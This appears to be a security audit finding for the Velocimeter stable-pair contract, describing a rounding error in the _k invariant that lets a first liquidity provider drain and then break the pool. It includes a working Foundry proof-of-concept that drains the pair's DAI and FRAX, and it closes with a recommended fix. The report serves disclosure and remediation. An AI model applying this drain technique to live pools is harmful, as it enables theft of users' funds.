Wonderful Rosewood Pheasant

High

# First liquidity provider of a stable pair can DOS the pool

## Summary
The invariant calculation of stable pools allows an attacker to drain the pool's assets due to a rounding error when the product of the pool's reserves is less than 1e18. This vulnerability enables a Denial-of-Service (DoS) attack where a malicious actor can repeatedly mint a small amount of liquidity, drain the pool, and continue this cycle until the total supply overflows.

## Vulnerability Detail
The invariant k of a stable pool is calculated as follows:
```solidity
    function _k(uint x, uint y) internal view returns (uint) {
        if (stable) {
            uint _x = x * 1e18 / decimals0;
            uint _y = y * 1e18 / decimals1;
            uint _a = (_x * _y) / 1e18;
            uint _b = ((_x * _x) / 1e18 + (_y * _y) / 1e18);
            return _a * _b / 1e18;  // x3y+y3x >= k
        } else {
            return x * y; // xy >= k
        }
    }
```
The value of _a = (x * y ) / 1e18 = 0 due to rounding error when x*y < 1e18. The rounding error can lead to the invariant k of stable pools equals zero, and the trader can steal whatever is left in the pool.

The first liquidity provider can DOS the pair by:

   1. mint a small amount of liquidity to the pool.

   2. Steal whatever is left in the pool.
   
   3. Repeat step 1, and step 2 until the overflow of the total supply.
   
To prevent the issue of rounding error, the reserve of a pool should never go too small. The mint function which was borrowed from uniswapV2 has a minimum liquidity check of sqrt(a * b) > MINIMUM_LIQUIDITY; This, however, isn't safe enough to protect the invariant formula of stable pools.
```solidity
   uint internal constant MINIMUM_LIQUIDITY = 10**3;
   
   function mint(address to) external nonReentrant returns (uint256 liquidity) {
   // ...
          uint _amount0 = _balance0 - _reserve0;
          uint _amount1 = _balance1 - _reserve1;

          uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
          if (_totalSupply == 0) {
              liquidity = Math.sqrt(_amount0 * _amount1) - MINIMUM_LIQUIDITY;
              _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens

   // ...
   }
```
POC of an exploit extended from [Pair.t.sol](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/test/Pair.t.sol):
```solidity
contract PairTest is BaseTest {
//...
    function drainPair(Pair pair, uint256 initialFraxAmount, uint256 initialDaiAmount) internal {
        DAI.transfer(address(pair), 1);
        uint256 amount0;
        uint256 amount1;
        if (address(DAI) < address(FRAX)) {
            amount0 = 0;
            amount1 = initialFraxAmount - 1;
        } else {
            amount1 = 0;
            amount0 = initialFraxAmount - 1;
        }
        pair.swap(amount0, amount1, address(this), new bytes(0));
        FRAX.transfer(address(pair), 1);
        if (address(DAI) < address(FRAX)) {
            amount0 = initialDaiAmount; // initialDaiAmount + 1 - 1
            amount1 = 0;
        } else {
            amount1 = initialDaiAmount; // initialDaiAmount + 1 - 1
            amount0 = 0;
        }
        pair.swap(amount0, amount1, address(this), new bytes(0));
    }

    function testDestroyPair() public {
        deployPairCoins();
        deal(address(DAI), address(this), 100 ether);
        deal(address(FRAX), address(this), 100 ether);

        deployVoter();
        voter.setGovernor(msg.sender);

        Pair pair = Pair(factory.createPair(address(DAI), address(FRAX), true));
        for (uint256 i = 0; i < 10; i++) {
            DAI.transfer(address(pair), 10_000_000);
            FRAX.transfer(address(pair), 10_000_000);
            // as long as 10_000_000^2 < 1e18
            uint256 liquidity = pair.mint(address(this));
            console.log("pair:", address(pair), "liquidity:", liquidity);
            console.log("total liq:", pair.balanceOf(address(this)));
            drainPair(pair, FRAX.balanceOf(address(pair)), DAI.balanceOf(address(pair)));
            console.log("DAI balance:", DAI.balanceOf(address(pair)));
            console.log("FRAX balance:", FRAX.balanceOf(address(pair)));
            console.log(""); // this one is for empty space

            require(DAI.balanceOf(address(pair)) == 1, "should drain DAI balance");
            require(FRAX.balanceOf(address(pair)) == 2, "should drain FRAX balance");
        }
        DAI.transfer(address(pair), 1 ether);
        FRAX.transfer(address(pair), 1 ether);

        vm.expectRevert(stdError.arithmeticError);// overflow
        pair.mint(address(this));
    }
}   
```
Run the following command to execute the POC: `forge test --match-test testDestroyPair -vvv`

## Impact
The invariant calculation allows attackers to exploit stable pools, potentially draining the pool's assets and rendering them non functional. This can lead to a loss of funds and undermine the integrity of the stable pools.

## Code Snippet
https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/Pair.sol#L403-L413

https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/Pair.sol#L250-L269

## Tool used 
Manual Review

## Recommendation
Recommend to add two restrictions on the first lp of stable pools:

     1. Specify that the invariant _k should be larger than MINIMUM_K.
     
     2. only allows equal amounts of liquidity:
     
          The 1:1 ratio forces first lp lose money in many cases. We can prob remove it if setting a higher MINIMUM_K.

          The reason to enforce the 1:1 ratio is just a precautions check. It's when lp can contribute to max invariant k with
          minimum tokens; the issue of rounding error should be mildest.

          As for MINIMUM_K, 10e9 would be a safe one. The invariant can decrease in some cases.
```diff
     function mint(address to) external nonReentrant returns (uint256 liquidity) {
   // ...
          uint _amount0 = _balance0 - _reserve0;
          uint _amount1 = _balance1 - _reserve1;

          uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
          if (_totalSupply == 0) {
              liquidity = Math.sqrt(_amount0 * _amount1) - MINIMUM_LIQUIDITY;
              _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
+           if (stable) {
+               require(_amount0 * 1e18 / decimals0 == _amount1 * 1e18 / decimals1, "Pair: Stable pair must be equal amounts");
+               require(_k(_amount0, _amount1) > MINIMUM_K, "Pair: Stable pair must be above minimum k");
+            }
  // ...
     }
```
